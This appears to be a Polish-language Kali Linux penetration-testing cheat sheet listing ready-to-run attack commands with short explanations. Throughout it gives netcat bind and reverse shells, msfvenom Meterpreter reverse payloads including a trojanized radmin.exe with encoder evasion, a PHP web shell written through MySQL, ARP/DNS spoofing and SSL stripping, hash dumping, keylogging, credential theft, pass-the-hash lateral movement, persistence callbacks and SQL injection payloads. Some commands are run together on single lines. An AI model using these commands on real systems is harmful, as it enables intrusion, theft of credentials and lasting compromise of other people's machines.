Programy do pobrania:
Nessus - skaner bezpieczeństwa
http://www.tenable.com/products/nessus-home
Uruchomienie:
/etc/init.d/nessusd start
Konfiguracja:
https://kali:8834/
Przy pierwszym otwarciu powyższego adresu aplikacja udostępni interfejs tworzenia
konta do logowania oraz możliwość wpisania klucza otrzymanego przy rejestracji
(przed pobraniem programu ze strony producenta). Następnie nastąpi inicjalizacja
silnika skanera oraz pobranie i instalacja sygnatur. Proces ten trwa kilka godzin
i zużywa średnio 100% procesora. Ja nastawiłem cały proces na noc i rano jak się
obudziłem to wszystko było już gotowe.
mingw-w64 - służy m.in. do kompilacji pod Linuksem programów dla Windowsa 64-bit:
Upewniamy się, że w pliku /etc/apt/sources.list znajdują się repozytoria:
# Regular repositories
Jeśli ich nie ma to je wklejamy i wykonujemy polecenia:
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free
# Source repositories
deb-src http://http.kali.org/kali sana main non-free contrib
deb-src http://security.kali.org/kali-security sana/updates main contrib non-free
apt-get clean
apt-get update
apt-get upgrade
apt-get install mingw-w64
Przetestowanie czy podany port (5500) jest otwarty na zdalnej maszynie:
nc -v 192.168.10.1 5500
Sprawdzenie czy wysłanie pakietu FIN do zamkniętego portu nie spowoduje odesłania pakietu RST/ACK:
sudo nmap -sF
Sprawdzenie czy wysłanie pakietu ACK nie będącego częścią ustanowionej sessji nie spowoduje odesłania odpowiedzi:
sudo nmap -sA
Zbadanie czy port UDP (5500) jest otwarty na zdalnej maszynie:
sudo hping3 -2 -p 5500 192.168.8.100
Sprawdzenie czy wysłanie odpowiedzi na pakiet icmp echo, który nie był wcześniej wysłany przez zdalną maszynę, spowoduje odesłanie odpowiedzi:
sudo hping3 -1 --icmptype echo-reply 192.168.8.100
Wysłanie jednego pakitu icmp echo do zdalnej maszyny:
ping -c 1 192.168.8.100
Wysłanie pakietu icmp echo bez danych za nagówkiem icmp:
sudo nmap -sP 192.168.8.100
lub:
ping -s 0 192.168.8.100
Adresy rozgłoszeniowe:
224.0.0.0 - 239.255.255.255
Skanowanie TCP connect podanej maszyny (uprawnienia roota nie są potrzebne):
nmap -P0 -sT 192.168.8.100
lub:
nmap -sT -n 192.168.8.100 --max-rtt-timeout 500ms
Skanowanie TCP SYN podanej maszyny:
sudo nmap -P0 -sS 192.168.8.100
lub (brak opcji określającej typ skanowania, gdyż skanowanie TCP SYN jest domyślne):
sudo nmap -n 192.168.8.100 --max-rtt-timeout 500ms
Skanowanie TCP FIN podanej maszyny:
sudo nmap -P0 -sF 192.168.8.100
Skanowanie TCP XMAS podanej maszyny:
sudo nmap -P0 -sX 192.168.8.100
Skanowanie TCP NULL podanej maszyny:
sudo nmap -P0 -sN 192.168.8.100
Skanowanie TCP ACK podanej maszyny:
sudo nmap -P0 -sA 192.168.8.100
Skanowanie portów UDP podanej maszyny:
sudo nmap -P0 -sU 192.168.8.100
lub:
sudo nmap -sU -n 192.168.8.100 --max-rtt-timeout 500ms
Skanowanie podanej sieci w poszukiwaniu otwartego portu SSH:
sudo nmap -P0 -p 22 -sS 192.168.8.0/24
Wykrywa wersję usługi nasłuchującej na podanym porcie (80):
sudo nmap -sV -P0 -p 80 -n 192.168.8.100
Skanowanie TCP SYN podanej maszyny (192.168.8.100) z podstawionym adresem 10.0.0.1 jako adresem źródłowym
z wykorzystaniem interfejsu eth0:
sudo nmap -P0 -sS -S 10.0.0.1 -e eth0 192.168.8.100
Uruchomienie netcata jako serwer TCP nasłuchujący na porcie 5001. Program ten oczekuje na dane przesłane przez sieć i po ich
otrzymaniu wypisuje je na ekran i kończy działanie:
nc -l 5001
Uruchomienie netcata jako serwer UDP nasłuchujący na porcie 5002. Program ten oczekuje na dane przesłane przez sieć i po ich
otrzymaniu wypisuje je na ekran i kończy działanie:
nc -u -l 5002
Wysłanie podanego po komendzie echo tekstu do serwera działającego na porcie TCP 5001 podanej maszyny przy pomocy programu nc (netcat):
echo "To jest napis 12345" | nc 192.168.8.100 5001
Wysłanie 10 bajtów 0xa5 do serwera działającego na porcie UDP 5002 podanej maszyny przy pomocy programu nc (netcat):
perl -e 'print "\xa5"x10' | nc -u 192.168.8.100 5002
Zrestartowanie usług sieciowych (np. po edycji pliku /etc/network/interfaces):
service networking restart
Uruchomienie netcata w trybie serwera nasłuchującego na porcie 1234:
nc -lvtp 1234
Wysłanie danych do serwera nasłuchującego na porcie 1234 maszyny localhost (127.0.0.1):
nc -vt 127.0.0.1 1234
Uruchomienie netcata w trybie serwera nasłuchującego na porcie 1234. Każda nadesłana linia
danych będzie przetwarzana przez powłokę /bin/sh a wynik będzie przesłany klientowi:
nc -lvtp 1234 -e /bin/sh
Połączenie się z procesem serwera na porcie 1234 localhosta i udostępnienie serwerowi możliwości wykonywania
i otrzymywania rezultatów poleceń wykonywanych w procesie powłoki kienta:
nc -vt 127.0.01 1234 -e /bin/sh
Uruchomienie servera bazy danych postgresql:
systemctl start postgresql
Zainicjalizowanie bazy danych dla programu metasploit:
msfdb init
Teraz możemy uruchomić konsolę metasploita:
msfconsole
Wyszukanie w bazie danych metasploita exploita wykorzystującego lukę o podanym numerze (ms08-067):
msf> search ms08-067
Wyświetlenie szczegółów na temat podanego exploita:
msf> info exploit/windows/smb/ms08_067_netapi
Przełączenie metasploita do kontekstu modułu dla wybranego exploita:
msf> use windows/smb/ms08_067_netapi
Wyświetla jakie opcje są niezbędne do uruchomienia wybranego modułu/exploita:
msf exploit(ms08_067_netapi)> show options
Ustawienie wybranej opcji (tutaj RHOST):
msf exploit(ms08_067_netapi)> set RHOST 192.168.10.100
Wyświetla listę systemów operacyjnych, z którymi działa wybrany moduł/exploit:
msf exploit(ms08_067_netapi)> show targets
Ustawia wybrany system docelowy ataku (numer pobieramy z listy otrzymanej po wydaniu polecenia show targets):
msf exploit(ms08_067_netapi)> set target numer
Wyświetla listę ładunków kompatybilnych z wybranym modułem/exploitem:
msf exploit(ms08_067_netapi)> show payloads
Uruchomienie wybranego exploita:
exploit
Wyjście z powłoki meterpreter uruchomionej po pomyślnym włamaniu do zdalnego systemu:
meterpreter> exit
Wybranie dla modułu/exploita ładunku typu reverse shell:
msf exploit(ms08_067_netapi)> set payload windows/shell_reverse_tcp
Zakończenie pracy z konsolą msfconsole:
msf exploit(ms08_067_netapi)> exit
Program do generowania ładunków dla Metasploita:
msfvenom -h
Wyświetla listę dostępnych ładunków:
msfvenom -l payloads
Wyświetla listę opcji dla wybranego ładunku (windows/meterpreter/reverse_tcp):
msfvenom -p windows/meterpreter/reverse_tcp --payload-options
Wyświetla listę dostępnych formatów ładunków:
msfvenom --help-formats
Wygenerowanie pliku wykonywalnego payload.exe, który uruchamia powłokę meterpreter łączącą sie z podanym hostem na podanym porcie:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.101 LPORT=443 --platform windows --arch x86 -f exe >payload.exe
Wygenerowanie programu obsługującego połączenia po stronie atakującego nadchodzące z komputerów ofiar, które uruchomiły
powyższy plik payload.exe:
msfconsole
Ostatnia z powyższych komend utworzy proces nasłuchujący na porcie 443.
msf> use multi/handler
msf exploit(handler)> set payload windows/meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 192.168.10.101
msf exploit(handler)> set LPORT 443
msf exploit(handler)> exploit
Użycie modułu pomocniczego scanner/smb/pipe_auditor do wyświetlenia listy potoków nasłuchujących na serwerze SMB na zdalnej maszynie:
msf> use scanner/smb/pipe_auditor
msf auxiliary(pipe_auditor)> set RHOSTS 192.168.10.100
msf auxiliary(pipe_auditor)> exploit
Polecenie powłoki pozwalające pobranie najnowszej bazy modułów/exploitów dla Metasploita:
msfupdate
Wyświetla wszystkie skrypty (w katalou /usr/share/nmap/scripts) należące do kategorii default:
nmap --sript-help default
Wyświetla szczegółowe informacje na temat podanego skryptu (nfs-ls):
nmap --sript-help nfs-ls
Skanuje podany host w poszukiwaniu otwartych portów oraz wykonuje na nich wszystkie skrypty w kategorii default:
nmap -sC 192.168.10.100
lub równoważnie:
nmap --script=default 192.168.10.100
Skanuje podany host w poszukiwaniu otwartych portów oraz wykonuje na nich podany skrypt (nfs-ls):
nmap --script=nfs-ls 192.168.10.100
Sprawdzenie w konsoli metasploita czy na podanych hostach (192.168.10.100-192.168.10.110 i 192.168.56.1) jest uruchomiona usługa
ftp, która zezwala na anonimowy dostęp:
msfconsole
msf> use scanner/ftp/anonymous
msf> set RHOSTS 192.168.10.100-110 192.168.56.1
msf> exploit
Sprawdzenie bez uruchamiania exploita czy podana maszyna jest na niego podatna:
msfconsole
msf> use windows/smb/ms08_067_netapi
msf> set RHOST 192.168.10.100
msf> check
Sprawdzenie podatności strony internetowej na podanej maszynie:
nikto -h 192.168.10.100
Próba zalogowania się do panelu WebDAV na podanym hoście przy użyciu domyślnej nazwy użytkownika i hasła:
cadaver http://192.168.10.100/wedav
Wysłanie na powyższą maszynę pliku text.txt:
dav:/webdav/> put test.txt
Sprawdzenie na serwerze poczty, czy podany użytkownik istnieje:
nc 192.168.10.100 25
VRFY username
^D
Włączenie na bieżącej maszynie (192.168.10.101) przekazywania pakietów i zatrucie arp cache maszyny
192.168.10.100 podszywając się pod maszynę 192.168.10.110 (od tej pory maszyna 192.168.10.101 udaje maszynę
192.168.10.110):
echo 1 > /proc/sys/net/ipv4/ip_forward
I zostało jeszcze do zrobienia tgo samego, tyle że w odwrotną stronę. W tym celu uruchamiamy kolejną instancję arpspoof
(od teraz 192.168.10.101 przekazuje pakiety pomiędzy 192.168.10.100 <=> 192.168.10.110):
arpspoof -i eth0 -t 192.168.10.100 192.168.10.110arpspoof -i eth0 -t 192.168.10.110 192.168.10.100
Zamiana adresu domeny na adres IP:
nslookup www.google.pl
Zatruwanie DNS przy użyciu dnsspoof:
cat hosts.txt
192.168.10.101 www.google.pl
dnsspoof -i eth1 -f hosts.txt
Przechwycenie całej komunikacji pomiędzy bramą 192.168.10.1 a maszyną 192.168.10.110:
ettercap -Ti eth0 -M arp:remote /192.168.10.1/ /192.168.10.110/
Przeprowadzenie ataku SSL Stripping:
iptables -t nat -A PREROUTING -p tcp-destination-port 80 -j REDIRECT -to-port8080
sslstrip -l 8080
Wygenerowanie skryptu php otwierającego - po wejściu na adres tego skryptu na serwerze www - powłokę meterpreter
(niewidoczną w postaci okienka) łączącą się na podanym porcie z podanym hostem:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=2323 -f raw >meterpreter.php
Uruchomienie nasłuchiwania na porcie 2323 na nowe połączenie otwarte po wejściu przeglądarką na adres pliku meterpreter.php:
msfconsole
Po nawiązaniu połączenia możemy pobrać nazwę użytkownika, na którego prawach działamy:
msf> use multi/handler
msf> set payload php/meterpreter/reverse_tcp
msf> set LHOST 192.168.56.101
msf> set LPORT 2323
msf> exploitmeterpreter> getuid
Wykonuje zrzut wartości skrótu haseł systemu windows:
meterpreter> hashdump
Wykorzystanie mysql do zapisania na serwerze www dowolnego skryptu:
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "C:\\xampp\\htdocs\\shell.php"
Przeszukiwanie bazy exploitów/modułów Metasploita w poszukiwaniu podanego systemu:
msf> search drupal
Uzyskanie informacji o wybranym exploicie/module:
msf> info unix/webapp/php_xmlrpc_eval
Przeszukanie podanej strony (oraz linków do podstron o maksymalnym zagnieżdżeniu równym 1) w poszukiwaniu
co najmniej 5-cio znakowych słów i zapisanie ich w pliku passwords.txt:
cewl -w passwords.txt -d 1 -m 5 progmar.net.pl
Wygenerowanie słownika haseł o rozmiarze od 7 do 8 znaków składających się wyłącznie z liter A i B:
crunch 7 8 AB
Zgadywanie użytkowników oraz ich haseł na podanym serwerze POP3:
hydra -L userlist.txt -P passwords.txt 192.168.56.1 pop3
Zgadywanie hasła podanego użytkownika (mzaleczny) na podanym serwerze POP3:
hydra -l mzaleczny -P passwords.txt 192.168.56.1 pop3
W systemie windows w katalogu c:\windows\repair znajdują się pliki:
sam - który zawiera zaszyfrowaną zawartość wszystkich kont użytkowników i haszy ich haseł
system - który zawiera systemowy klucz użyty do zaszyfrowania powyższego pliku.
Aktualne/Produkcyjne wersje tych plików są umieszczone w katalogu c:\windows\system32\config.
Żeby wyciągnąć nazwy kont użytkowników oraz hasze ich haseł wykonujemy polecenia:
bkhive system xpkey.txt
Wynik powyższego polecenia (lub wynik polecenia "meterpreter> hashdump" opisanego wyżej) zapisujemy do pliku
"ntpasswords.txt" i w celu odgadnięcia haseł wywołujemy polecenie:
samdump2 sam xpkey.txtjohn ntpasswords.txt
Programu john możemy też używć do łamania haseł linuksowych:
john linux_passwords.txt -wordlist dictionary.txt
Ładunek AllPorts służy do nawiązana połączenia na pierwszym porcie systemu ofiary, który nie jest filtrowany
(chroniony prze firewall). Sprawdzane są po kolei wszystkie porty począwszy od 1:
msf exploit(ms08_067_netapi)> set payload windows/shell/reverse_tcp_allports
msf exploit(ms08_067_netapi)> show options
msf exploit(ms08_067_netapi)> exploit
Użycie exploita Aurora by wykorzystać lukę w IE i nawiązać połączenie z powłoką:
msf> use exploit/windows/browser/ms10_002_aurora
Teraz wejście ofiary na adres http://192.168.1.101/aurora spowoduje uruchomienie exploita i uzyskanie przez hosta
192.168.1.101 dostępu do powłoki (o ile ofiara jest podatna na ten atak).
msf exploit(ms10_002_aurora)> show options
msf exploit(ms10_002_aurora)> set SRVHOST 192.168.1.101
msf exploit(ms10_002_aurora)> set SRVPORT 80
msf exploit(ms10_002_aurora)> set URIPATH aurora
msf exploit(ms10_002_aurora)> set payload windows/meterpreter/reverse_tcp
msf exploit(ms10_002_aurora)> set LHOST 192.168.1.101
msf exploit(ms10_002_aurora)> exploit
Podłączenie się do podanej sesji:
msf exploit(ms10_002_aurora)> sessions -i SESSION_ID
Wyświetlenie zadań działających w tle w obrębie konsoli Metasploita:
msf exploit(ms10_002_aurora)> jobs
Ubicie podanego zadania w obrębie konsoli Metasploita:
msf exploit(ms10_002_aurora)> kill JOB_ID
Wyświetla zaawansowane parametry wybranego modułu/exploita:
msf exploit(ms10_002_aurora)> show advanced
Podpięcie skryptu migrate.rb z parametrem -f tak, żeby był on wykonany automatycznie po nawiązaniu połączenia z ofiarą.
Powoduje on przeniesienie powłoki Meterpretera do nowo utworzonego procesu notatnika w systemie ofiary (dzięki temu
nie stracimy połączenia po zamknięciu zawieszonego IE):
msf exploit(ms10_002_aurora)> set AutoRunScript migrate -f
Alternatywą może być ustawienie na true zaawansowanego parametru "PrependMigrate", który spowoduje migrację do nowego
procesu jeszcze przed odpaleniem ładunku.
msf exploit(ms10_002_aurora)> exploit
Przygotowanie złośliwego pdf-a i nasłuchiwanie wielu połączeń zwrotnych:
msf> use exploit/windows/fileformat/adobe_utilprintf
Przechwytywanie połączeń od ofiar:
msf exploit(adobe_utilprintf)> show options
msf exploit(adobe_utilprintf)> exploit
msf exploit(adobe_utilprintf)> cp /root/.msf4/local/msf.pdf /var/www
msf exploit(adobe_utilprintf)> systemctl start apache2msf exploit(adobe_utilprintf)> use multi/handler
Uruchamiamy handlera jako zadanie w tle:
msf exploit(handler)> set payload windows/meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 192.168.1.101
msf exploit(handler)> set ExitOnSession falsemsf exploit(handler)> exploit -j
Exploit na system z Javą < 7 Update 11 w przeglądarce:
msf> use exploit/multi/browser/java_jre17_jmxbean
msf exploit(java_jre17_jmxbean)> set SRVHOST 192.168.1.101
msf exploit(java_jre17_jmxbean)> set SRVPORT 80
msf exploit(java_jre17_jmxbean)> set URIPATH javaexploit
msf exploit(java_jre17_jmxbean)> set payload java/meterpreter/reverse_http
msf exploit(java_jre17_jmxbean)> set LHOST 192.168.1.101
msf exploit(java_jre17_jmxbean)> exploit
Aplet exploit na przeglądarkę z Javą:
msf> use exploit/multi/browser/java_signed_applet
msf exploit(java_signed_applet)> set APPLETNAME CustomAppletName
msf exploit(java_signed_applet)> set SRVHOST 192.168.1.101
msf exploit(java_signed_applet)> set SRVPORT 80
msf exploit(java_signed_applet)> set URIPATH javaappletexploit
msf exploit(java_signed_applet)> set target 0
msf exploit(java_signed_applet)> set payload java/meterpreter/reverse_tcp
msf exploit(java_signed_applet)> set LHOST 192.168.1.101
msf exploit(java_signed_applet)> exploit
Moduł rozpoznający przeglądarkę i stosujący wszystkie dostępne exploity, które mogą odnieść sukces:
msf> use auxiliary/server/browser_autopwn
Wylistowanie sesji z przechwyconym shellem u ofiar:
msf auxiliary(browser_autopwn)> set LHOST 192.168.1.101
msf auxiliary(browser_autopwn)> set URIPATH autopwn
msf auxiliary(browser_autopwn)> exploitmsf auxiliary(browser_autopwn)> sessions -l
Program do przeprowadzania ataków typu social enginering (przesyłanie złośliwych załączników pocztą e-mail,
tworzenie stron phishingowych, etc. - preinstalowany w Kali Linux):
setoolkit
W Kali Linuksie w kataogu /usr/share/windows-binaries znajduje się kilka exe-ków, które można wykorzystać do
zamieszczenia ładunków (można to też zrobić z dowolnymi innymi plikami exe). Oto jak przygotować trojana:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444
-x /usr/share/windows-binaries/radmin.exe -k -f exe > radmin.exe
Proces nasłuchujący poleceń z powłoki meterpreter uruchamiamy w Metasploicie za pomocą ładunku handler:
msfconsole
msf> use multi/handler
msf exploit(handler)> set payload windows/meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 192.168.1.101
msf exploit(handler)> set LPORT 4444
msf exploit(handler)> exploit
Polecenie działające jak wyżej, ale wykonuje 10 iteracji szyfrowania ładunku enkoderem x86/shikata_ga_nai:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444
-x /usr/share/windows-binaries/radmin.exe -e x86/shikata_ga_nai -i 10 -k -f exe >radmin_coded.exe
Wypisanie listy encoderów obsługiwanych przez program msfvenom:
msfvenom -l encoders
Wielokrotne zaszyfrowanie ładunku różnymi enkoderami:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444
-e x86/shikata_ga_nai -i 10 -f raw >radmin_coded.bin
msfvenom -p - -x /usr/share/windows-binaries/radmin.exe -k -f exe -a x86 --platform windows
-e x86/bloxor -i 2 >radmin_coded2.exe <radmin_coded.bin
Utworzenie ładunku w formacie łańcucha znaków (kodów bajtowych) w języku C:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f c >radmin.c
Utworzenie losowego łańcucha 512-u znaków:
cat /dev/urandom | tr -dc A-Z-a-z-0-9 | head -c512
Zaszyfrowanie binarki input.exe programem hyperion.exe i utworzenie pliku wyjściowego output.exe:
wine hyperion.exe input.exe output.exe
Uruchomienie servera tftpd na Kali Linux:
apt-get install atftpd
Przesyłanie pliku na maszynę z windowsem za pomocą powłoki cmd:
systemctl start atftpdtftp -i 192.168.1.101 GET plik.txt
Pobieranie pliku z maszyny z windowsem za pomocą powłoki cmd:
tftp -i 192.168.1.101 PUT plik.txt
Skrypty Meterpretera znajdują się w katalogu: /usr/share/metasploit-framework/scripts/meterpreter.
Aby uruchomić skrypt wykonujemy komendę:
meterpreter> run script-name
Pomoc dotyczącą skryptu otrzymujemy przy pomocy komendy:
meterpreter> run script-name -h
Wyświetlenie listy działających procesów:
meterpreter> ps
Przeniesienie sesji meterpretera do procesu o id 1234:
meterpreter> run migrate -p 1234
Przeniesienie bieżącej sesji do pracy w tle:
meterpreter> background
Pobranie listy zalogowanych użytkowników podanej sesji w systemie:
msf> use post/windows/gather/enum_logged_on_users
msf post(enum_logged_on_users)> set SESSION 1
msf post(enum_logged_on_users)> exploit
Wywołanie dowolnej funkcji WinAPI, np sprawdzenie czy bieżący użytkownik jest adminem:
msf> sessions -i 1
meterpreter> irb
>> client.railgun.shell32.IsUserAdmin
>> exit
Wykonanie szeregu exploitów aż do uzyskania uprawnień użytkownika SYSTEM lub do wyczerpania się exploitów:
meterpreter> getsystem
meterpreter> getuid
Powrót do uprawnień poprzedniego użytkownika:
meterpreter> rev2self
Uruchomienie exploita dla systemu Windows XP SP2/SP3 do podniesienia uprawnień:
msf> use exploit/windows/local/ms11_080_afdjoinleaf
msf exploit(ms11_080_afdjoinleaf)> set SESSION 1
msf exploit(ms11_080_afdjoinleaf)> set payload windows/meterpreter/reverse_tcp
msf exploit(ms11_080_afdjoinleaf)> set LHOST 192.168.1.101
msf exploit(ms11_080_afdjoinleaf)> exploit
Ominięcie UAC (User Account Control - kontrola konta użytkownika) w systemie Windows 7:
msf> use exploit/windows/local/bypassuac
Powyższe komendy otworzą nową sesję meterpretera z brakiem kontroli UAC, więc teraz powinno zadziałać polecenie:
msf exploit(bypassuac)> set SESSIoN 1
msf exploit(bypassuac)> exploit
meterpreter> getuidmeterpreter> getsystem
Przejście z meterpretera do powłoki systemu Linux (oczywiście na skompromitowanym systemie Linux):
meterpreter> shell
I wykonanie podstawowych poleceń:
> whoami
> uname -a
> lsb_release -a
> udevadm --version
Przeszukanie lokalnej bazy exploitów dla programu udev:
/usr/share/exploitdb/searchsploit udev
Uruchomienie nc jako serwera nasłuchującego na porcie 12345:
nc -lvp 12345
Połączenie się netcatem z powyższym serwerem i podpięcie powłoki jako programu obsługującego wejście:
nc 127.0.0.1 12345 -e /bin/bash
Od tej chwili w powłoce pierwszego z powyższch dwóch poleceń nc możemy wydawać polecenia powłoki
linuksowej, które będą wykonywane zdalnie.
Wyszukiwanie w meterpreterze plików, które w nazwie mają słowo password:
meterpreter> search -f password
Uruchomienie wbudowanego w meterpretera key-loggera:
meterpreter> keyscan_start
Wyświetlenie przechwyconych naciśnięć klawiszy:
meterpreter> keyscan_dump
Zatrzymanie key-loggera:
meterpreter> keyscan_stop
Przechwycenie haseł zapisanych w programie WinSCP w systemie Windows:
msf> use post/windows/gather/credentials/winscp
msf post(winscp)> set session 1
msf post(winscp)> exploit
Wyświetlenie listy użytkowników w systemie Windows:
cmd c:\> net users
Wyświetlenie listy lokalnych administratorów w systemie Windows:
cmd c:\> net localgroup Administratorzy
Po przejęciu jednego hosta z Windowsem, możemy próbować zdobyć inne hosty w domenie np. za pomocą exploita psexec:
msf> use exploit/windows/smb/psexec
msf exploit(psexec)> set RHOST 192.168.1.102
msf exploit(psexec)> set SMBUser username
msf exploit(psexec)> set SMBPass userpassword
msf exploit(psexec)> set SMBDomain GRUPA_ROBOCZA
msf exploit(psexec)> exploit
Wykorzystanie modułu/exploita psexec do zalogowania się na zdalnego hosta znając wyłącznie hash prawdziwego hasła:
msf exploit(psexec)> set SMBPass password_LM_or_NTLM_hash
msf exploit(psexec)> exploit
Zastosowanie modułu/exploita sshexec do zalogowania się na zdalny system linuksowy:
msf> use exploit/multi/ssh/sshexec
msf exploit(sshexec)> set RHOST 192.168.1.102
msf exploit(sshexec)> set USERNAME user_name
msf exploit(sshexec)> set PASSWORD my_password
msf exploit(sshexec)> set payload linux/x86/meterpreter/reverse_tcp
msf exploit(sshexec)> set LHOST 192.168.1.101
msf exploit(sshexec)> exploit
meterpreter> getuid
meterpreter> shell
> whoami
Załadowanie modułu incognito do obsługi tokenów w systemie Windows:
msf> load incognito
Wyświetlenie w meterpreterze listy dostępnych tokenów:
meterpreter> list_tokens -u
Zdobycie uprawnień danego użytkownika (skojarzonego z podanym tokenem 'COMPXP\\username'):
meterpreter> impersonate_token COMPXP\\username
Uruchomienie w środowisku domenowym Windows serwera smb, który nasłuchuje na porcie 445 i zapisuje hashe haseł
użytkowników do pliku /root/johnpwfile:
msf> use auxiliary/server/capture/smb
Następnie z przechwyconej maszyny możemy wymusić połączenie smb z fake'owym serwerem 192.168.1.100:
msf auxiliary(smb)> set JOHNPWFILE /root/johnpwfile
msf auxiliary(smb)> exploitmeterpreter> shell
C:\windows\system32> net use \\192.168.1.100\cokolwiek
Wyświetlenie informacji o konfiguraji sieciowej hosta, na którym działa meterpreter:
meterpreter> ifconfig
Przekierowanie całego ruchu do sieci 192.168.80.0/24 przez sesję numer 2 (zawierającą połączenie z przechwyconym
routerem mającym dostęp do tej sieci) - tak zwany pivot:
msf> route add 192.168.80.0 255.255.255.0 2
Skanowanie portów przy pomocy Metasploita:
msf> use scanner/portscan/tcp
msf auxiliary(tcp)> set RHOST 192.168.1.101
msf auxiliary(tcp)> exploit
Uruchomienie w Metasploicie serwera proxy socks4a:
msf> use auxilary/server/socks4a
Teraz w pliku /etc/proxychains.conf zmieniamy linijkę:
msf auxiliary(socks4a)> set SRVPORT 4040
msf auxiliary(socks4a)> exploitsocks4 127.0.0.1 9050
na:
socks4 127.0.0.1 4040
Od teraz można przez pivota wykonywać programy sieciowe na zewnątrz Metasploita przy pomocy programu proxychains, np.:
root@kali:~# proxychains nmap -Pn -sT -sV -p 21,22,25,80,445
Dodanie nowego użytkownika wraz z dodaniem go do domeny w środowisku domenowym:
C:\> net use marcin mypassword /add /domain
Dodanie nowo utworzonego użytkownika do grupy administratorów:
C:\> net localgroup Administratorzy marcin /add
Utworzenie w przechwyconym systemie Windows skryptu VisualBasic uruchamianego przy starcie systemu i próbującego co
10 min. połączyć się z koputerem napastnika:
meterpreter> run persistence -r 192.168.1.100 -p 12345 -X -i 600
Uruchomienie programu burpsuite:
Programy -> Analiza Web-Aplikacji -> burpsuite
Konfiguracja serwera proxy w Firefokse:
Menu Edycja -> Właściwości -> Zaawansowane
i tam przełączamy się do karty "Sieć" a następnie klikamy przycisk "Ustawienia".
Otworzy się okienko, gdzie możemy ustawić serwer proxy.
Wstrzykiwanie kodu do zmiennych wykorzystywanych w aplikacjach webowych:
http://someapp.pl/login.php?username=' OR '1'='1&password=' OR '1'='1
http://someapp.pl/item.php?id=4 or 1 in (show databases)
Zautomatyzowane wyciągnięcie informacji o bazie danych:
sqlmap -u "http://someapp.pl/item.php?id=4" --dump
Próba uzyskania dostępu do linii poleceń systemu, w którym działa SQL Server:
sqlmap -u "http://someapp.pl/item.aspx?id=4" --os-shell
Wykorzystywana jest do tego komenda xp_cmdshell SQL Servera.
Wszystkie exploity Metasploita znajdują się w następującym katalogu:
/usr/share/metasploit-framework/modules/exploits